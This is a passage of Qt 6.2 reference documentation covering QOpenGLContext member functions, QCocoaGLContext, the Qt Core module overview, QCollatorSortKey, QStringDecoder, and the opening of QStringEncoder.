 Attempts to create the OpenGL context with the current configuration.

 The current configuration includes the format, the share context, and the screen.

 If the OpenGL implementation on your system does not support the requested version of OpenGL context, then [QOpenGLContext](qopenglcontext) will try to create the closest matching version. The actual created context properties can be queried using the [QSurfaceFormat](qsurfaceformat) returned by the [format](qopenglcontext#format)() function. For example, if you request a context that supports OpenGL 4.3 Core profile but the driver and/or hardware only supports version 3.2 Core profile contexts then you will get a 3.2 Core profile context.

 Returns `true` if the native context was successfully created and is ready to be used with [makeCurrent](qopenglcontext#makeCurrent)(), [swapBuffers](qopenglcontext#swapBuffers)(), etc.

  **Note:** If the context already exists, this function destroys the existing context first, and then creates a new one.

  **See also** [makeCurrent](qopenglcontext#makeCurrent)() and [format](qopenglcontext#format)().

 ### 
`[static]` [QOpenGLContext](qopenglcontext#QOpenGLContext) \*QOpenGLContext::currentContext()

 Returns the last context which called [makeCurrent](qopenglcontext#makeCurrent) in the current thread, or `nullptr`, if no context is current.

 ### 
GLuint QOpenGLContext::defaultFramebufferObject() const

 Call this to get the default framebuffer object for the current surface.

 On some platforms (for instance, iOS) the default framebuffer object depends on the surface being rendered to, and might be different from 0. Thus, instead of calling glBindFramebuffer(0), you should call glBindFramebuffer(ctx->defaultFramebufferObject()) if you want your application to work across different Qt platforms.

 If you use the glBindFramebuffer() in [QOpenGLFunctions](https://doc.qt.io/qt-6.2/qopenglfunctions.html) you do not have to worry about this, as it automatically binds the current context's defaultFramebufferObject() when 0 is passed.

  **Note:** Widgets that render via framebuffer objects, like [QOpenGLWidget](qopenglwidget) and [QQuickWidget](qquickwidget), will override the value returned from this function when painting is active, because at that time the correct "default" framebuffer is the widget's associated backing framebuffer, not the platform-specific one belonging to the top-level window's surface. This ensures the expected behavior for this function and other classes relying on it (for example, [QOpenGLFramebufferObject::bindDefault](qopenglframebufferobject#bindDefault)() or [QOpenGLFramebufferObject::release](qopenglframebufferobject#release)()).

  **See also** [QOpenGLFramebufferObject](qopenglframebufferobject).

 ### 
void QOpenGLContext::doneCurrent()

 Convenience function for calling [makeCurrent](qopenglcontext#makeCurrent) with a 0 surface.

 This results in no context being current in the current thread.

 **See also** [makeCurrent](qopenglcontext#makeCurrent)() and [currentContext](qopenglcontext#currentContext)().

 ### 
[QSet](qset)<[QByteArray](qbytearray)> QOpenGLContext::extensions() const

 Returns the set of OpenGL extensions supported by this context.

 The context or a sharing context must be current.

 **See also** [hasExtension](qopenglcontext#hasExtension)().

 ### 
[QOpenGLExtraFunctions](qopenglextrafunctions) \*QOpenGLContext::extraFunctions() const

 Get the [QOpenGLExtraFunctions](qopenglextrafunctions) instance for this context.

 [QOpenGLContext](qopenglcontext) offers this as a convenient way to access [QOpenGLExtraFunctions](qopenglextrafunctions) without having to manage it manually.

 The context or a sharing context must be current.

 The returned [QOpenGLExtraFunctions](qopenglextrafunctions) instance is ready to be used and it does not need initializeOpenGLFunctions() to be called.

  **Note:** [QOpenGLExtraFunctions](qopenglextrafunctions) contains functionality that is not guaranteed to be available at runtime. Runtime availability depends on the platform, graphics driver, and the OpenGL version requested by the application.

  **See also** [QOpenGLFunctions](https://doc.qt.io/qt-6.2/qopenglfunctions.html) and [QOpenGLExtraFunctions](qopenglextrafunctions).

 ### 
[QSurfaceFormat](qsurfaceformat) QOpenGLContext::format() const

 Returns the format of the underlying platform context, if [create](qopenglcontext#create)() has been called.

 Otherwise, returns the requested format.

 The requested and the actual format may differ. Requesting a given OpenGL version does not mean the resulting context will target exactly the requested version. It is only guaranteed that the version/profile/options combination for the created context is compatible with the request, as long as the driver is able to provide such a context.

 For example, requesting an OpenGL version 3.x core profile context may result in an OpenGL 4.x core profile context. Similarly, a request for OpenGL 2.1 may result in an OpenGL 3.0 context with deprecated functions enabled. Finally, depending on the driver, unsupported versions may result in either a context creation failure or in a context for the highest supported version.

 Similar differences are possible in the buffer sizes, for example, the resulting context may have a larger depth buffer than requested. This is perfectly normal.

 **See also** [setFormat](qopenglcontext#setFormat)().

 ### 
[QOpenGLFunctions](https://doc.qt.io/qt-6.2/qopenglfunctions.html) \*QOpenGLContext::functions() const

 Get the [QOpenGLFunctions](https://doc.qt.io/qt-6.2/qopenglfunctions.html) instance for this context.

 [QOpenGLContext](qopenglcontext) offers this as a convenient way to access [QOpenGLFunctions](https://doc.qt.io/qt-6.2/qopenglfunctions.html) without having to manage it manually.

 The context or a sharing context must be current.

 The returned [QOpenGLFunctions](https://doc.qt.io/qt-6.2/qopenglfunctions.html) instance is ready to be used and it does not need initializeOpenGLFunctions() to be called.

 ### 
[QFunctionPointer](qtglobal#QFunctionPointer-typedef) QOpenGLContext::getProcAddress(const [QByteArray](qbytearray) &*procName*) const

 Resolves the function pointer to an OpenGL extension function, identified by *procName*

 Returns `nullptr` if no such function can be found.

 ### 
`[since 5.8]` [QFunctionPointer](qtglobal#QFunctionPointer-typedef) QOpenGLContext::getProcAddress(const char \**procName*) const

 This is an overloaded function.

 This function was introduced in Qt 5.8.

 ### 
`[static, since 5.5]` [QOpenGLContext](qopenglcontext#QOpenGLContext) \*QOpenGLContext::globalShareContext()

 Returns the application-wide shared OpenGL context, if present. Otherwise, returns `nullptr`.

 This is useful if you need to upload OpenGL objects (buffers, textures, etc.) before creating or showing a [QOpenGLWidget](qopenglwidget) or [QQuickWidget](qquickwidget).

  **Note:** You must set the [Qt::AA\_ShareOpenGLContexts](qt#ApplicationAttribute-enum) flag on [QGuiApplication](qguiapplication) before creating the [QGuiApplication](qguiapplication) object, otherwise Qt may not create a global shared context.

   **Warning:** Do not attempt to make the context returned by this function current on any surface. Instead, you can create a new context which shares with the global one, and then make the new context current.

  This function was introduced in Qt 5.5.

 **See also** [Qt::AA\_ShareOpenGLContexts](qt#ApplicationAttribute-enum), [setShareContext](qopenglcontext#setShareContext)(), and [makeCurrent](qopenglcontext#makeCurrent)().

 ### 
bool QOpenGLContext::hasExtension(const [QByteArray](qbytearray) &*extension*) const

 Returns `true` if this OpenGL context supports the specified OpenGL *extension*, `false` otherwise.

 The context or a sharing context must be current.

 **See also** [extensions](qopenglcontext#extensions)().

 ### 
`[since 5.3]` bool QOpenGLContext::isOpenGLES() const

 Returns true if the context is an OpenGL ES context.

 If the context has not yet been created, the result is based on the requested format set via [setFormat](qopenglcontext#setFormat)().

 This function was introduced in Qt 5.3.

 **See also** [create](qopenglcontext#create)(), [format](qopenglcontext#format)(), and [setFormat](qopenglcontext#setFormat)().

 ### 
bool QOpenGLContext::isValid() const

 Returns if this context is valid, i.e. has been successfully created.

 On some platforms the return value of `false` for a context that was successfully created previously indicates that the OpenGL context was lost.

 The typical way to handle context loss scenarios in applications is to check via this function whenever [makeCurrent](qopenglcontext#makeCurrent)() fails and returns `false`. If this function then returns `false`, recreate the underlying native OpenGL context by calling [create](qopenglcontext#create)(), call [makeCurrent](qopenglcontext#makeCurrent)() again and then reinitialize all OpenGL resources.

 On some platforms context loss situations is not something that can avoided. On others however, they may need to be opted-in to. This can be done by enabling [ResetNotification](qsurfaceformat#FormatOption-enum) in the [QSurfaceFormat](qsurfaceformat). This will lead to setting `RESET_NOTIFICATION_STRATEGY_EXT` to `LOSE_CONTEXT_ON_RESET_EXT` in the underlying native OpenGL context. [QOpenGLContext](qopenglcontext) will then monitor the status via `glGetGraphicsResetStatusEXT()` in every [makeCurrent](qopenglcontext#makeCurrent)().

 **See also** [create](qopenglcontext#create)().

 ### 
bool QOpenGLContext::makeCurrent([QSurface](qsurface) \**surface*)

 Makes the context current in the current thread, against the given *surface*. Returns `true` if successful; otherwise returns `false`. The latter may happen if the surface is not exposed, or the graphics hardware is not available due to e.g. the application being suspended.

 If *surface* is `nullptr` this is equivalent to calling [doneCurrent](qopenglcontext#doneCurrent)().

 Avoid calling this function from a different thread than the one the [QOpenGLContext](qopenglcontext) instance lives in. If you wish to use [QOpenGLContext](qopenglcontext) from a different thread you should first make sure it's not current in the current thread, by calling [doneCurrent](qopenglcontext#doneCurrent)() if necessary. Then call moveToThread(otherThread) before using it in the other thread.

 By default Qt employs a check that enforces the above condition on the thread affinity. It is still possible to disable this check by setting the `Qt::AA_DontCheckOpenGLContextThreadAffinity` application attribute. Be sure to understand the consequences of using QObjects from outside the thread they live in, as explained in the [QObject thread affinity](qobject#thread-affinity) documentation.

 **See also** [functions](qopenglcontext#functions)(), [doneCurrent](qopenglcontext#doneCurrent)(), and [Qt::AA\_DontCheckOpenGLContextThreadAffinity](qt#ApplicationAttribute-enum).

 ### template <typename QNativeInterface> QNativeInterface \*QOpenGLContext::nativeInterface() const

 Returns a native interface of the given type for the context.

 This function provides access to platform specific functionality of [QOpenGLContext](qopenglcontext), as defined in the [QNativeInterface](qnativeinterface-sub-qtgui) namespace:

 

|  |  |
| --- | --- |
| [QNativeInterface::QCocoaGLContext](qnativeinterface-qcocoaglcontext) | Native interface to an NSOpenGLContext on macOS |
| [QNativeInterface::QEGLContext](qnativeinterface-qeglcontext) | Native interface to an EGL context |
| [QNativeInterface::QGLXContext](https://doc.qt.io/qt-6.2/qnativeinterface-qglxcontext.html) | Native interface to a GLX context |
| [QNativeInterface::QWGLContext](qnativeinterface-qwglcontext) | Native interface to a WGL context on Windows |

 If the requested interface is not available a `nullptr` is returned.

 ### 
`[static, since 5.3]` [QOpenGLContext::OpenGLModuleType](qopenglcontext#OpenGLModuleType-enum) QOpenGLContext::openGLModuleType()

 Returns the underlying OpenGL implementation type.

 On platforms where the OpenGL implementation is not dynamically loaded, the return value is determined during compile time and never changes.

  **Note:** A desktop OpenGL implementation may be capable of creating ES-compatible contexts too. Therefore in most cases it is more appropriate to check [QSurfaceFormat::renderableType](qsurfaceformat#renderableType)() or use the convenience function [isOpenGLES](qopenglcontext#isOpenGLES)().

   **Note:** This function requires that the [QGuiApplication](qguiapplication) instance is already created.

  This function was introduced in Qt 5.3.

 ### 
[QScreen](qscreen) \*QOpenGLContext::screen() const

 Returns the screen the context was created for.

 **See also** [setScreen](qopenglcontext#setScreen)().

 ### 
void QOpenGLContext::setFormat(const [QSurfaceFormat](qsurfaceformat) &*format*)

 Sets the *format* the OpenGL context should be compatible with. You need to call [create](qopenglcontext#create)() before it takes effect.

 When the format is not explicitly set via this function, the format returned by [QSurfaceFormat::defaultFormat](qsurfaceformat#defaultFormat)() will be used. This means that when having multiple contexts, individual calls to this function can be replaced by one single call to [QSurfaceFormat::setDefaultFormat](qsurfaceformat#setDefaultFormat)() before creating the first context.

 **See also** [format](qopenglcontext#format)().

 ### 
void QOpenGLContext::setScreen([QScreen](qscreen) \**screen*)

 Sets the *screen* the OpenGL context should be valid for. You need to call [create](qopenglcontext#create)() before it takes effect.

 **See also** [screen](qopenglcontext#screen)().

 ### 
void QOpenGLContext::setShareContext([QOpenGLContext](qopenglcontext#QOpenGLContext) \**shareContext*)

 Makes this context share textures, shaders, and other OpenGL resources with *shareContext*. You need to call [create](qopenglcontext#create)() before it takes effect.

 **See also** [shareContext](qopenglcontext#shareContext)().

 ### 
[QOpenGLContext](qopenglcontext#QOpenGLContext) \*QOpenGLContext::shareContext() const

 Returns the share context this context was created with.

 If the underlying platform was not able to support the requested sharing, this will return 0.

 **See also** [setShareContext](qopenglcontext#setShareContext)().

 ### 
[QOpenGLContextGroup](qopenglcontextgroup) \*QOpenGLContext::shareGroup() const

 Returns the share group this context belongs to.

 ### 
`[static, since 5.5]` bool QOpenGLContext::supportsThreadedOpenGL()

 Returns `true` if the platform supports OpenGL rendering outside the main (gui) thread.

 The value is controlled by the platform plugin in use and may also depend on the graphics drivers.

 This function was introduced in Qt 5.5.

 ### 
[QSurface](qsurface) \*QOpenGLContext::surface() const

 Returns the surface the context has been made current with.

 This is the surface passed as an argument to [makeCurrent](qopenglcontext#makeCurrent)().

 ### 
void QOpenGLContext::swapBuffers([QSurface](qsurface) \**surface*)

 Swap the back and front buffers of *surface*.

 Call this to finish a frame of OpenGL rendering, and make sure to call [makeCurrent](qopenglcontext#makeCurrent)() again before issuing any further OpenGL commands, for example as part of a new frame.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qopenglcontext.html>

QCocoaGLContext Struct
======================

 struct [QNativeInterface](qnativeinterface-sub-qtgui)::QCocoaGLContext Native interface to an NSOpenGLContext on macOS. [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <[QOpenGLContext](qopenglcontext)> |
|  CMake: |  find\_package(Qt6 COMPONENTS Gui REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::Gui) |
|  qmake: |  QT += gui |
|  Since: |  Qt 6.0 |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qnativeinterface-qcocoaglcontext-members.html)

 Public Functions
----------------

 

|  |  |
| --- | --- |
|  virtual NSOpenGLContext \* | **[nativeContext](qnativeinterface-qcocoaglcontext#nativeContext)**() const = 0 |

 Static Public Members
---------------------

 

|  |  |
| --- | --- |
|  QOpenGLContext \* | **[fromNative](qnativeinterface-qcocoaglcontext#fromNative)**(NSOpenGLContext \**context*, QOpenGLContext \**shareContext* = nullptr) |

 Detailed Description
--------------------

 Accessed through [QOpenGLContext::nativeInterface](qopenglcontext#nativeInterface)().

 Member Function Documentation
-----------------------------

 ### 
`[static]` [QOpenGLContext](qopenglcontext) \*QCocoaGLContext::fromNative(NSOpenGLContext \**context*, [QOpenGLContext](qopenglcontext) \**shareContext* = nullptr)

 Adopts an NSOpenGLContext.

 The adopted NSOpenGLContext *context* is retained. Ownership of the created [QOpenGLContext](qopenglcontext) *shareContext* is transferred to the caller.

 ### 
`[pure virtual]` NSOpenGLContext \*QCocoaGLContext::nativeContext() const

 Returns the underlying NSOpenGLContext.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qnativeinterface-qcocoaglcontext.html>

Qt Core
=======

 The Qt Core module adds these features to C++:

 * a very powerful mechanism for seamless object communication called signals and slots
* queryable and designable object properties
* hierarchical and queryable object trees that organize
* object ownership in a natural way with guarded pointers ([QPointer](qpointer))
* a dynamic cast that works across library boundaries

 The following pages provide more information about Qt's core features:

 * [The Meta-Object System](metaobjects)
* [The Property System](properties)
* [Object Model](object)
* [Object Trees & Ownership](objecttrees)
* [Signals & Slots](signalsandslots)

 Using the Module
----------------

 Using a Qt module requires linking against the module library, either directly or through other dependencies. Several build tools have dedicated support for this, including [CMake](http://www.cmake.org/cmake/help/documentation.html) and [qmake](resources#qmake).

 ### Building with CMake

 Use the `find_package()` command to locate the needed module components in the `Qt6` package:

 
```
find_package(Qt6 COMPONENTS Core REQUIRED)
target_link_libraries(mytarget PRIVATE Qt6::Core)
```
 See also the [Build with CMake](cmake-manual) overview.

 ### Building with qmake

 If you use [qmake](resources#qmake) to build your projects, Qt6Core is linked by default.

 Threading and Concurrent Programming
------------------------------------

 Qt provides thread support in the form of platform-independent [threading classes](thread), a thread-safe way of posting events, and signal-slot connections across threads. Multithreaded programming is also a useful paradigm for performing time-consuming operations without freezing the user interface of an application.

 The [Thread Support in Qt](threads) page contains information on implementing threads in applications. Additional concurrent classes are provided by the [Qt Concurrent](qtconcurrent-index) module.

 Input/Output, Resources, and Containers
---------------------------------------

 Qt provides a resource system for organizing application files and assets, a set of containers, and classes for receiving input and printing output.

 * [Container Classes](containers)
* [Serializing Qt Data Types](datastreamformat)
* [Implicit Sharing](implicit-sharing)

 In addition, Qt Core provides a platform-independent mechanism for storing binary files in the application's executable.

 * [The Qt Resource System](resources)

 Additional Frameworks
---------------------

 Qt Core also provides some of Qt's key frameworks.

 * [The Animation Framework](https://doc.qt.io/qt-6.2/animation-overview.html)
* [JSON Support in Qt](json)
* [How to Create Qt Plugins](plugins-howto)
* [The Event System](eventsandfilters)

 Module Evolution
----------------

 [Changes to Qt Core](qtcore-changes-qt6) lists important changes in the module API and functionality that were done for the Qt 6 series of Qt.

 Licenses and Attributions
-------------------------

 Qt Core is available under commercial licenses from [The Qt Company](http://www.qt.io/about-us/). In addition, it is available under free software licenses: The [GNU Lesser General Public License, version 3](http://www.gnu.org/licenses/lgpl-3.0.html), or the [GNU General Public License, version 2](http://www.gnu.org/licenses/gpl-2.0.html). See [Qt Licensing](https://doc.qt.io/qt-6.2/licensing.html) for further details.

 Executables on Windows potentially link against [The QtEntryPoint Library](qtentrypoint). This library is available under commercial licenses and also under the [BSD 3-clause "New" or "Revised" License](https://spdx.org/licenses/BSD-3-Clause.html).

 Furthermore, Qt Core in Qt 6.2.2 may contain third party modules under following permissive licenses:

 

|  |  |
| --- | --- |
| [BLAKE2 (reference implementation), version 54f4faa4c16ea34bcd59d16e8da46a64b259fc07](https://doc.qt.io/qt-6.2/qtcore-attribution-blake2.html) | Creative Commons Zero v1.0 Universal or Apache License 2.0 |
| [Data Compression Library (zlib), version 1.2.11](https://doc.qt.io/qt-6.2/qtcore-attribution-zlib.html) | zlib License |
| [Easing Equations by Robert Penner](https://doc.qt.io/qt-6.2/qtcore-attribution-easing.html) | BSD 3-clause "New" or "Revised" License |
| [Efficient Binary-Decimal and Decimal-Binary Conversion Routines for IEEE Doubles, version 3.1.5-30-gbf46072](https://doc.qt.io/qt-6.2/qtcore-attribution-doubleconversion.html) | BSD 3-clause "New" or "Revised" License |
| [FreeBSD strtoll and strtoull, version 18b29f3fb8abee5d57ed8f4a44f806bec7e0eeff](https://doc.qt.io/qt-6.2/qtcore-attribution-freebsd.html) | BSD 3-clause "New" or "Revised" License |
| [KWin, version 5.13.4](https://doc.qt.io/qt-6.2/qtcore-attribution-kwin.html) | BSD-3-Clause |
| [KWin, version 5.13.4](https://doc.qt.io/qt-6.2/qtcore-attribution-kwin.html) | BSD-3-Clause |
| [MD4](https://doc.qt.io/qt-6.2/qtcore-attribution-md4.html) | Public Domain |
| [MD5](https://doc.qt.io/qt-6.2/qtcore-attribution-md5.html) | Public Domain |
| [PCRE2 - Stack-less Just-In-Time Compiler, version 10.39](https://doc.qt.io/qt-6.2/qtcore-attribution-pcre2-sljit.html) | BSD 2-clause "Simplified" License |
| [PCRE2, version 10.39](https://doc.qt.io/qt-6.2/qtcore-attribution-pcre2.html) | BSD 3-clause "New" or "Revised" License |
| [QEventDispatcher on macOS](https://doc.qt.io/qt-6.2/qtcore-attribution-qeventdispatcher-cf.html) | BSD 3-clause "New" or "Revised" License |
| [Secure Hash Algorithm SHA-1](https://doc.qt.io/qt-6.2/qtcore-attribution-sha1.html) | Public Domain |
| [Secure Hash Algorithm SHA-3 - Keccak, version 3.2](https://doc.qt.io/qt-6.2/qtcore-attribution-sha3-keccak.html) | Creative Commons Zero v1.0 Universal |
| [Secure Hash Algorithm SHA-3 - brg\_endian, version https://github.com/BrianGladman/sha/ commit 4b9e13ead2c5b5e41ca27c65de4dd69ae0bac228](https://doc.qt.io/qt-6.2/qtcore-attribution-sha3-endian.html) | BSD 2-clause "Simplified" License |
| [Secure Hash Algorithms SHA-384 and SHA-512](https://doc.qt.io/qt-6.2/qtcore-attribution-rfc6234.html) | BSD 3-clause "New" or "Revised" License |
| [SipHash Algorithm](https://doc.qt.io/qt-6.2/qtcore-attribution-siphash.html) | Creative Commons Zero v1.0 Universal |
| [The Public Suffix List, version d4e247a71d1b6da08dad906b098c818493166fcc, fetched on 2021-06-11](https://doc.qt.io/qt-6.2/qtcore-attribution-psl.html) | Mozilla Public License 2.0 |
| [TinyCBOR, version 0.6+patches](https://doc.qt.io/qt-6.2/qtcore-attribution-tinycbor.html) | MIT License |
| [Unicode Character Database (UCD), version 26](https://doc.qt.io/qt-6.2/qtcore-attribution-unicode-character-database.html) | Unicode License Agreement - Data Files and Software (2016) |
| [Unicode Common Locale Data Repository (CLDR), version v40](https://doc.qt.io/qt-6.2/qtcore-attribution-unicode-cldr.html) | Unicode License Agreement - Data Files and Software (2016) |
| [extra-cmake-modules, version 5.84.0](https://doc.qt.io/qt-6.2/qtcore-attribution-extra-cmake-modules.html) | BSD-3-Clause |
| [extra-cmake-modules, version 5.84.0](https://doc.qt.io/qt-6.2/qtcore-attribution-extra-cmake-modules.html) | BSD-3-Clause |
| [forkfd](https://doc.qt.io/qt-6.2/qtcore-attribution-forkfd.html) | MIT License |

 Reference
---------

 These are links to the API reference materials.

 * [C++ Classes](https://doc.qt.io/qt-6.2/qtcore-module.html)
	+ [Animation Classes](animation)
	+ [Threading Classes](thread)
	+ [Container Classes](containers)
	+ [Plugin Classes](plugins)
	+ [Implicitly Shared Classes](shared)
	+ [Input/Output Classes](io)
	+ [Event Classes](events)
* CMake API
	+ [CMake Commands](cmake-commands-qtcore)
	+ [CMake Variables](cmake-variables-qtcore)
	+ [CMake Target Properties](cmake-target-properties-qtcore)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtcore-index.html>

QCollatorSortKey Class
======================

 The QCollatorSortKey class can be used to speed up string collation. [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <QCollatorSortKey> |
|  CMake: |  find\_package(Qt6 COMPONENTS Core REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::Core) |
|  qmake: |  QT += core |
|  Since: |  Qt 5.2 |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qcollatorsortkey-members.html)

 **Note:** All functions in this class are [reentrant](17-qdoc-commands-thread#reentrant).

 Public Functions
----------------

 

|  |  |
| --- | --- |
|  | **[QCollatorSortKey](qcollatorsortkey#QCollatorSortKey)**(const QCollatorSortKey &*other*) |
|  QCollatorSortKey & | **[operator=](qcollatorsortkey#operator-eq-1)**(QCollatorSortKey &&*other*) |
|  QCollatorSortKey & | **[operator=](qcollatorsortkey#operator-eq)**(const QCollatorSortKey &*other*) |
|  | **[~QCollatorSortKey](qcollatorsortkey#dtor.QCollatorSortKey)**() |
|  int  | **[compare](qcollatorsortkey#compare)**(const QCollatorSortKey &*otherKey*) const |
|  void  | **[swap](qcollatorsortkey#swap)**(QCollatorSortKey &*other*) |

 Related Non-Members
-------------------

 

|  |  |
| --- | --- |
|  bool  | **[operator<](qcollatorsortkey#operator-lt)**(const QCollatorSortKey &*lhs*, const QCollatorSortKey &*rhs*) |

 Detailed Description
--------------------

 The QCollatorSortKey class is always created by [QCollator::sortKey](qcollator#sortKey)() and is used for fast strings collation, for example when collating many strings.

 **See also** [QCollator](qcollator), [QCollator::sortKey](qcollator#sortKey)(), and [compare](qcollatorsortkey#compare)().

 Member Function Documentation
-----------------------------

 ### QCollatorSortKey::QCollatorSortKey(const [QCollatorSortKey](qcollatorsortkey#QCollatorSortKey) &*other*)

 Constructs a copy of the *other* collator key.

 ### 
[QCollatorSortKey](qcollatorsortkey#QCollatorSortKey) &QCollatorSortKey::operator=([QCollatorSortKey](qcollatorsortkey#QCollatorSortKey) &&*other*)

 Move-assigns *other* to this collator key.

 ### 
[QCollatorSortKey](qcollatorsortkey#QCollatorSortKey) &QCollatorSortKey::operator=(const [QCollatorSortKey](qcollatorsortkey#QCollatorSortKey) &*other*)

 Assigns *other* to this collator key.

 ### QCollatorSortKey::~QCollatorSortKey()

 Destroys the collator key.

 ### 
int QCollatorSortKey::compare(const [QCollatorSortKey](qcollatorsortkey#QCollatorSortKey) &*otherKey*) const

 Compares this key to *otherKey*, which must have been created by the same [QCollator](qcollator)'s sortKey() as this key. The comparison is performed in accordance with that [QCollator](qcollator)'s sort order.

 Returns a negative value if this key sorts before *otherKey*, 0 if the two keys are equal or a positive value if this key sorts after *otherKey*.

 **See also** [operator<](qcollatorsortkey#operator-lt)().

 ### 
void QCollatorSortKey::swap([QCollatorSortKey](qcollatorsortkey#QCollatorSortKey) &*other*)

 Swaps this collator key with *other*.

  Related Non-Members
-------------------

 ### 
bool operator<(const [QCollatorSortKey](qcollatorsortkey#QCollatorSortKey) &*lhs*, const [QCollatorSortKey](qcollatorsortkey#QCollatorSortKey) &*rhs*)

 Both keys must have been created by the same [QCollator](qcollator)'s sortKey(). Returns `true` if *lhs* should be sorted before *rhs*, according to the [QCollator](qcollator) that created them; otherwise returns `false`.

 **See also** [QCollatorSortKey::compare](qcollatorsortkey#compare)().

 

 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qcollatorsortkey.html>

QStringDecoder Class
====================

 The QStringDecoder class provides a state-based decoder for text. [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <QStringDecoder> |
|  CMake: |  find\_package(Qt6 COMPONENTS Core REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::Core) |
|  qmake: |  QT += core |
|  Inherits: | [QStringConverter](qstringconverter) |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qstringdecoder-members.html)

 **Note:** All functions in this class are [reentrant](17-qdoc-commands-thread#reentrant).

 Public Functions
----------------

 

|  |  |
| --- | --- |
|  | **[QStringDecoder](qstringdecoder#QStringDecoder-3)**(const char \**name*, QStringConverter::Flags *flags* = Flag::Default) |
|  | **[QStringDecoder](qstringdecoder#QStringDecoder-2)**() |
|  | **[QStringDecoder](qstringdecoder#QStringDecoder-1)**(QStringConverter::Encoding *encoding*, QStringConverter::Flags *flags* = Flag::Default) |
|  QChar \* | **[appendToBuffer](qstringdecoder#appendToBuffer)**(QChar \**out*, QByteArrayView *in*) |
|  QString  | **[decode](qstringdecoder#decode)**(const QByteArray &*ba*) |
|  QString  | **[decode](qstringdecoder#decode-1)**(QByteArrayView *ba*) |
|  qsizetype  | **[requiredSpace](qstringdecoder#requiredSpace)**(qsizetype *inputLength*) const |
|  QString  | **[operator()](qstringdecoder#operator-28-29)**(const QByteArray &*ba*) |
|  QString  | **[operator()](qstringdecoder#operator-28-29-1)**(QByteArrayView *ba*) |

 Detailed Description
--------------------

 A text decoder converts text an encoded text format that uses a specific encoding into Qt's internal representation.

 Converting encoded data into a [QString](qstring) can be achieved using the following code:

 
```
QByteArray encodedString = "...";
auto toUtf16 = QStringDecoder(QStringDecoder::Utf8);
QString string = toUtf16(encodedString);
```
 The decoder remembers any state that is required between calls, so converting data received in chunks, for example, when receiving it over a network, is just as easy, by calling the decoder whenever new data is available:

 
```
auto toUtf16 = QStringDecoder(QStringDecoder::Utf8);

QString string;
while (new_data_available()) {
    QByteArray chunk = get_new_data();
    string += toUtf16(chunk);
}
```
 The QStringDecoder object maintains state between chunks and therefore works correctly even if chunks are split in the middle of a multi-byte character sequence.

 QStringDecoder objects can't be copied because of their internal state, but can be moved.

 **See also** [QStringConverter](qstringconverter) and [QStringEncoder](qstringencoder).

 Member Function Documentation
-----------------------------

  ### 
[QString](qstring) QStringDecoder::decode([QByteArrayView](qbytearrayview) *ba*)


### 
[QString](qstring) QStringDecoder::decode(const [QByteArray](qbytearray) &*ba*)


### 
[QString](qstring) QStringDecoder::operator()([QByteArrayView](qbytearrayview) *ba*)


### 
[QString](qstring) QStringDecoder::operator()(const [QByteArray](qbytearray) &*ba*)


 Converts *ba* and returns the data as a [QString](qstring).

 ### QStringDecoder::QStringDecoder(const char \**name*, [QStringConverter::Flags](qstringconverter#Flag-enum) *flags* = Flag::Default)

 Creates an decoder object using *name* and *flags*. If *name* is not the name of a known encoding an invalid converter will get created.

 **See also** [isValid](qstringconverter#isValid)().

 ### QStringDecoder::QStringDecoder()

 Default constructs an decoder. The default decoder is not valid, and can't be used for converting text.

 ### QStringDecoder::QStringDecoder([QStringConverter::Encoding](qstringconverter#Encoding-enum) *encoding*, [QStringConverter::Flags](qstringconverter#Flag-enum) *flags* = Flag::Default)

 Creates an decoder object using *encoding* and *flags*.

 ### 
[QChar](qchar) \*QStringDecoder::appendToBuffer([QChar](qchar) \**out*, [QByteArrayView](qbytearrayview) *in*)

 Decodes the sequence of bytes viewed by *in* and writes the decoded result into the buffer starting at *out*. Returns a pointer to the end of data written.

 *out* needs to be large enough to be able to hold all the decoded data. Use [requiredSpace](qstringdecoder#requiredSpace) to determine the maximum size requirements to decode an encoded data buffer of `in.size()` bytes.

 **See also** [requiredSpace](qstringdecoder#requiredSpace).

 ### 
qsizetype QStringDecoder::requiredSpace(qsizetype *inputLength*) const

 Returns the maximum amount of UTF-16 code units required to be able to process *inputLength* encoded data.

 **See also** [appendToBuffer](qstringdecoder#appendToBuffer).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qstringdecoder.html>

QStringEncoder Class
====================

 The QStringEncoder class provides a state-based encoder for text. [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <QStringEncoder> |
|  CMake: |  find\_package(Qt6 COMPONENTS Core REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::Core) |
|  qmake: |  QT += core |
|  Inherits: | [QStringConverter](qstringconverter) |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qstringencoder-members.html)

 **Note:** All functions in this class are [reentrant](17-qdoc-commands-thread#reentrant).

 Public Functions
----------------

 

|  |  |
| --- | --- |
|  | **[QStringEncoder](qstringencoder#QStringEncoder-3)**(const char \**name*, QStringConverter::Flags *flags* = Flag::Default) |
|  | **[QStringEncoder](qstringencoder#QStringEncoder-2)**(QStringConverter::Encoding *encoding*, QStringConverter::Flags *flags* = Flag::Default) |
|  | **[QStringEncoder](qstringencoder#QStringEncoder-1)**() |
|  char \* | **[appendToBuffer](qstringencoder#appendToBuffer)**(char \**out*, QStringView *in*) |
|  QByteArray  | **[encode](qstringencoder#encode)**(const QString &*in*) |
|  QByteArray  | **[encode](qstringencoder#encode-1)**(QStringView *in*) |
|  qsizetype  | **[requiredSpace](qstringencoder#requiredSpace)**(qsizetype *inputLength*) const |
|  QByteArray  | **[operator()](qstringencoder#operator-28-29)**(const QString &*in*) |
|  QByteArray  | **[operator()](qstringencoder#operator-28-29-1)**(QStringView *in*) |

 Detailed Description
--------------------
